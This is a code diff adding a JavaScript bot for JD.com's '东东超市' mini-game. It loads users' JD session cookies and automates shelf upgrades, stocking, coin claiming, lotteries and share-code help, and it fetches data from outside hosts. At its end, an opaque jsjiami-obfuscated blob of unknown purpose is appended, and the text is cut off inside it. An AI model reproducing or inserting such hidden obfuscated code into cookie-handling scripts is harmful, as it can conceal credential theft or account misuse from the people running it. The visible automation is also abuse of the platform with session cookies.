+ console.log("\n可升级货架名 等级 升级所需金币");
+ for (let item of shelfList_upgrade) {
+ console.log(` [${item["name"]}] ${item["level"]}/${item["maxLevel"]} ${item["upgradeCostGold"]}`);
+ }
+ console.log(`开始升级[${shelfList_upgrade[0].name}]货架,当前等级${shelfList_upgrade[0].level},所需金币${shelfList_upgrade[0].upgradeCostGold}\n`);
+ await smtg_upgradeShelf(shelfList_upgrade[0].shelfId);
+ }
+ }
+}
+async function manageProduct() {
+ console.log(`安排上货(单价最大商品)`);
+ const shelfListRes = await smtg_shelfList();
+ if (shelfListRes.data.bizCode === 0) {
+ const { shelfList } = shelfListRes.data.result;
+ console.log(`我的货架数量:${shelfList && shelfList.length}`);
+ let shelfListUnlock = [];//可以上架的货架
+ for (let item of shelfList) {
+ if (item['groundStatus'] === 1 || item['groundStatus'] === 2) {
+ shelfListUnlock.push(item);
+ }
+ }
+ for (let item of shelfListUnlock) {
+ const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品
+ if (productListRes.data.bizCode === 0) {
+ const { productList } = productListRes.data.result;
+ let productNow = [], productList2 = [];
+ for (let item1 of productList) {
+ if (item1['groundStatus'] === 2) {
+ productNow.push(item1);
+ }
+ if (item1['productType'] === 1) {
+ productList2.push(item1);
+ }
+ }
+ // console.log(`productNow${JSON.stringify(productNow)}`)
+ // console.log(`productList2${JSON.stringify(productList2)}`)
+ if (productList2 && productList2.length > 0) {
+ productList2.sort(sortTotalPriceGold);
+ // console.log(productList2)
+ if (productNow && productNow.length > 0) {
+ if (productList2.slice(-1)[0]['productId'] === productNow[0]['productId']) {
+ console.log(`货架[${item.shelfId}]${productNow[0]['name']}已上架\n`)
+ continue;
+ }
+ }
+ await smtg_ground(productList2.slice(-1)[0]['productId'], item['shelfId'])
+ }
+ }
+ }
+ }
+}
+async function limitTimeProduct() {
+ const smtgProductListRes = await smtg_productList();
+ if (smtgProductListRes.data.bizCode === 0) {
+ const { productList } = smtgProductListRes.data.result;
+ let productList2 = [];
+ for (let item of productList) {
+ if (item['productType'] === 2 && item['groundStatus'] === 1) {
+ //未上架并且限时商品
+ console.log(`出现限时商品[${item.name}]`)
+ productList2.push(item);
+ }
+ }
+ if (productList2 && productList2.length > 0) {
+ for (let item2 of productList2) {
+ const { shelfCategory } = item2;
+ const shelfListRes = await smtg_shelfList();
+ if (shelfListRes.data.bizCode === 0) {
+ const { shelfList } = shelfListRes.data.result;
+ let shelfList2 = [];
+ for (let item3 of shelfList) {
+ if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) {
+ shelfList2.push(item3['shelfId']);
+ }
+ }
+ if (shelfList2 && shelfList2.length > 0) {
+ const groundRes = await smtg_ground(item2['productId'], shelfList2.slice(-1)[0]);
+ if (groundRes.data.bizCode === 0) {
+ console.log(`限时商品上架成功`);
+ message += `【限时商品】上架成功\n`;
+ }
+ }
+ }
+ }
+ } else {
+ console.log(`限时商品已经上架或暂无限时商品`);
+ }
+ }
+}
+//领取店铺升级的蓝币奖励
+async function receiveUserUpgradeBlue() {
+ $.receiveUserUpgradeBlue = 0;
+ if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) {
+ for (let item of $.userUpgradeBlueVos) {
+ const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 })
+ // $.log(`\n${JSON.stringify(receiveCoin)}`)
+ if (receiveCoin && receiveCoin.data['bizCode'] === 0) {
+ $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue']
+ }
+ }
+ $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`)
+ }
+ const res = await smtgReceiveCoin({"type": 4, "channel": "18"})
+ // $.log(`${JSON.stringify(res)}\n`)
+ if (res && res.data['bizCode'] === 0) {
+ console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`);
+ }
+}
+async function Home() {
+ const homeRes = await smtgHome();
+ if (homeRes && homeRes.data['bizCode'] === 0) {
+ const { result } = homeRes.data;
+ const { shopName, totalBlue } = result;
+ subTitle = shopName;
+ message += `【总蓝币】${totalBlue}个\n`;
+ }
+}
+//=============================================脚本使用到的京东API=====================================
+
+//===新版本
+
+//查询有哪些货架
+function smtg_shopIndex() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ if (data && data.data['bizCode'] === 0) {
+ const { shopId, shelfList, merchandiseList, level } = data.data['result'];
+ message += `【店铺等级】${level}\n`;
+ if (shelfList && shelfList.length > 0) {
+ for (let item of shelfList) {
+ //status: 2可解锁,1可升级,-1不可解锁
+ if (item['status'] === 2) {
+ $.log(`${item['name']}可解锁\n`)
+ await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 })
+ } else if (item['status'] === 1) {
+ $.log(`${item['name']}可升级\n`)
+ await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 });
+ } else if (item['status'] === -1) {
+ $.log(`[${item['name']}] 未解锁`)
+ } else if (item['status'] === 0) {
+ $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`)
+ } else {
+ $.log(`未知店铺状态(status):${item['status']}\n`)
+ }
+ }
+ }
+ if (data.data['result']['forSaleMerchandise']) {
+ $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`)
+ } else {
+ if (merchandiseList && merchandiseList.length > 0) {
+ for (let item of merchandiseList) {
+ console.log(`发现限时商品${item.name}\n`);
+ await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"})
+ }
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//解锁店铺
+function smtg_shelfUnlock(body) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ $.log(`解锁店铺结果:${data}\n`)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_shelfUpgrade(body) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ $.log(`店铺升级结果:${data}\n`)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//售卖限时商品API
+function smtg_sellMerchandise(body) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ $.log(`限时商品售卖结果:${data}\n`)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//新版东东超市
+function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') {
+ return new Promise(resolve => {
+ $.get({url}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ // console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.updatePkActivityIdRes = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function updatePkActivityIdCDN(url) {
+ return new Promise(async resolve => {
+ const headers = {
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
+ }
+ $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.updatePkActivityIdRes = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ await $.wait(10000)
+ resolve();
+ })
+}
+function smtgDoShopTask(taskId, itemId) {
+ return new Promise((resolve) => {
+ const body = {
+ "taskId": taskId,
+ "channel": "18"
+ }
+ if (itemId) {
+ body.itemId = itemId;
+ }
+ $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtgObtainShopTaskPrize(taskId) {
+ return new Promise((resolve) => {
+ const body = {
+ "taskId": taskId
+ }
+ $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtgQueryShopTask() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtgSignList() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => {
+ try {
+ // console.log('ddd----ddd', data)
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//查询商圈任务列表
+function smtgQueryPkTask() {
+ return new Promise( (resolve) => {
+ $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ if (data.data.bizCode === 0) {
+ const { taskList } = data.data.result;
+ console.log(`\n 商圈任务 状态`)
+ for (let item of taskList) {
+ if (item.taskStatus === 1) {
+ if (item.prizeStatus === 1) {
+ //任务已做完,但未领取奖励, 现在为您领取奖励
+ await smtgObtainPkTaskPrize(item.taskId);
+ } else if (item.prizeStatus === 0) {
+ console.log(`[${item.title}] 已做完 ${item.finishNum}/${item.targetNum}`);
+ }
+ } else {
+ console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`)
+ if (item.content) {
+ const { itemId } = item.content[item.type];
+ console.log('itemId', itemId)
+ await smtgDoPkTask(item.taskId, itemId);
+ }
+ }
+ }
+ } else {
+ console.log(`${data.data.bizMsg}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//PK邀请好友
+function smtgDoAssistPkTask(code) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_doAssistPkTask', {"inviteCode": code}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtgReceiveCoin(body) {
+ $.goldCoinData = {};
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//领取PK任务做完后的奖励
+function smtgObtainPkTaskPrize(taskId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_obtainPkTaskPrize', {"taskId": taskId}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtgDoPkTask(taskId, itemId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_getTeamPkDetailInfo() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_businessCirclePKDetail() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_getBusinessCircleList() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//加入商圈API
+function smtg_joinBusinessCircle(circleId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_businessCircleIndex() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_receivedPkTeamPrize() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//领取商圈PK奖励
+function smtg_getPkPrize() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_quitBusinessCircle() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//我的货架
+function smtg_shelfList() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_shelfList'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//检查某个货架可以上架的商品列表
+function smtg_shelfProductList(shelfId) {
+ return new Promise((resolve) => {
+ console.log(`开始检查货架[${shelfId}] 可上架产品`)
+ $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => {
+ try {
+ // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`)
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//升级商品
+function smtg_upgradeProduct(productId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => {
+ try {
+ // console.log(`升级商品productId[${productId}]结果:${data}`);
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ console.log(`升级商品结果\n${data}`);
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//解锁商品
+function smtg_unlockProduct(productId) {
+ return new Promise((resolve) => {
+ console.log(`开始解锁商品`)
+ $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => {
+ try {
+ // console.log(`解锁商品productId[${productId}]结果:${data}`);
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//升级货架
+function smtg_upgradeShelf(shelfId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => {
+ try {
+ // console.log(`升级货架shelfId[${shelfId}]结果:${data}`);
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ console.log(`升级货架结果\n${data}`)
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//解锁货架
+function smtg_unlockShelf(shelfId) {
+ return new Promise((resolve) => {
+ console.log(`开始解锁货架`)
+ $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => {
+ try {
+ // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`);
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_ground(productId, shelfId) {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => {
+ try {
+ // console.log(`上架商品结果:${data}`);
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_productList() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_productList'), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_lotteryIndex() {
+ return new Promise((resolve) => {
+ $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function smtg_drawLottery() {
+ return new Promise(async (resolve) => {
+ await $.wait(1000);
+ $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东超市: API查询请求失败 ‼️‼️')
+ console.log(JSON.stringify(err));
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function sortSyData(a, b) {
+ return a['upgradeCostGold'] - b['upgradeCostGold']
+}
+function sortTotalPriceGold(a, b) {
+ return a['previewTotalPriceGold'] - b['previewTotalPriceGold']
+}
+//格式化助力码
+function shareCodesFormat() {
+ return new Promise(resolve => {
+ console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`)
+ if (jdSuperMarketShareArr[$.index - 1]) {
+ newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@');
+ } else {
+ console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`)
+ const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1);
+ newShareCodes = shareCodes[tempIndex].split('@');
+ }
+ console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`)
+ resolve();
+ })
+}
+function requireConfig() {
+ return new Promise(resolve => {
+ // console.log('\n开始获取东东超市配置文件\n')
+ notify = $.isNode() ? require('./sendNotify') : '';
+ //Node.js用户请在jdCookie.js处填写京东ck;
+ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+ //IOS等用户直接用NobyDa的jd cookie
+ if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ if (jdCookieNode[item]) {
+ cookiesArr.push(jdCookieNode[item])
+ }
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ } else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+ }
+ console.log(`共${cookiesArr.length}个京东账号\n`);
+ // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`)
+ // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`);
+ // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`);
+ resolve()
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function getTeam() {
+ return new Promise(async resolve => {
+ $.getTeams = [];
+ $.get({url: `http://jd.turinglabs.net/api/v2/jd/supermarket/read/100000/`, timeout: 100000}, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} supermarket/read/ API请求失败,请检查网路重试`)
+ } else {
+ data = JSON.parse(data);
+ $.getTeams = data && data['data'];
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ await $.wait(10000);
+ resolve()
+ })
+}
+function taskUrl(function_id, body = {}) {
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}&appid=jdsupermarket&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`,
+ headers: {
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Host': 'api.m.jd.com',
+ 'Cookie': cookie,
+ 'Referer': 'https://jdsupermarket.jd.com/game',
+ 'Origin': 'https://jdsupermarket.jd.com',
+ }
+ }
+}
+/**
+ * 生成随机数字
+ * @param {number} min 最小值(包含)
+ * @param {number} max 最大值(不包含)
+ */
+function randomNumber(min = 0, max = 100) {
+ return Math.min(Math.floor(min + Math.random() * (max - min)), max);
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+var _0xod8='jsjiami.com.v6',_0x36f8=[_0xod8,'w5nCv07DimXDomnCksKlDRNlOMKKJyvCtjzChMOhwrTCkcOawqwTEcOm','A8O3UMOGw7p1wrfClnIkHMOqVcOswqgEQcKschrCjA==','wqHCsMKqwq4FFsOkw4TCvcKmecKfFCTDhsO+UifCk2bChMK4TcKWSMKlwqPDucOWw4A=','WAbCo8KSwoAfI8OEw6zCu8OCS0xmGg0NP8OSDcKOwrtzLcOVFcOWw7nDiSXCoMKyw4puLsOawoYwBF43McObSmJv','H8Kaw7FNwq3DgMKYw47CvMKfw63DsQ==','w6XDssOow65JR8K3w5jCscKlZ8OkByfDjMK1TDXDnSbDjsO+U8ODFsO2wrfCscKOw50qwqtP','w70ywrbDjMOf','w6fCkyrCijk=','aMK0worCnsKaw4UKw4VXwpRm','W8KQw4DCslA=','w7jCkEDCjQc=','bcOYJCnCmA==','w4BNZsKZIBLCiCpfKMKnwp4=','LMO9TH5nw6ENSDTCo8OGWg==','wobDqg8FwowIw4zCn8O6C8KvRcKjPsO3w58ANMKZwoHCt0RKWTBBwp99wqdzQ8KUwpc=','wobDqg8FwowIw4zCn8O6C8KvRcKxYMOvw4ZbOcKLwovCvV1IXC5MwpN9w6g8DcOew5k=','w688w6RfIw==','JcO9cxdH','wr8AREDCoQ==','w7bCilTCucOj','wpXDoz7ChzLCtzrCicKuADhs','RMKCwrDDm8OVNDLChsO9RMO0ZQ==','LzxIKCJwwonCk8KBw47DkXs=','fsKBABbCh3c=','OFkALGAgcwdmOsKFKQ==','wqDDgsO6wrXDlsOg','JsKpwpDCmMKAwotAwph/woAyfsOjBMK4LcKsw41zMcO0wpHDrMOYJ0LCu8K+QHcqT8ODEw==','wrTDkcKEwrJa','w4s+w7fCh8Ke','Z21IQkk=','GnAww73CgsOIbMKbw6PCpBoJw7fDpcOmUsKJ','U3IRPMODVSl9MBfDjD/Ck3dgIU0owqdjZMKkQ8OKw5E1Fmx2wpnDh8K4Xh3CicKRE8KmY3DDhMKFDWwkwp1nXBUyJMKFVsK8w4fCiDQNQVrDn0hfbibCijTDiTTDnMOSecKawozDsMKgw4J/GX1OcyxZXg4OLcKcwpAIw4EywqzDuxjCpgzDhirCn